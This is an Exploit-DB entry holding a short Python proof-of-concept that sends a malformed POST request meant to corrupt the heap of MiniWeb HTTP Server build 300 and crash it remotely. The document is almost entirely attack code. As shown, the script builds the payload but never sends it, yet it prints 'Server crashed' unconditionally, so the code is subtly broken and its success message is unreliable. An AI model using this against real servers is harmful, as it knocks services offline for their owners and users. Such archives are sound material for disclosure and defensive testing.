MiniWeb MiniWeb HTTP Server build 300 - Crash PoC

ID EDB-ID:25418
Type exploitdb
Reporter dmnt
Modified 2013-05-13T00:00:00


MiniWeb MiniWeb HTTP Server (build 300) - Crash PoC. Dos exploit for windows platform

                                            # MiniWeb HTTP server (build 300, built on Feb 28 2013) by Stanley Huang
# Heap corruption PoC - remote DoS
# Tested on Win7 SP1 RUS
# (x) dmnt 2013

import socket

print 'Mini Web HTTP Server remote DoS exploit by dmnt\n'
host = ""
port = 8000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print 'Connect to host and send payload\n'
stuff = 'POST /'+'"' +' HTTP/1.\r\n'
stuff+= 'Content-Type: application/x-www-form-urlencoded\r\n'
stuff+= 'Content-Length: 0\r\n\r\n'
stuff+= 'A'*15
print 'Server crashed\n'

# Exploit-DB note:
# Tinker with the amount of As to get this to work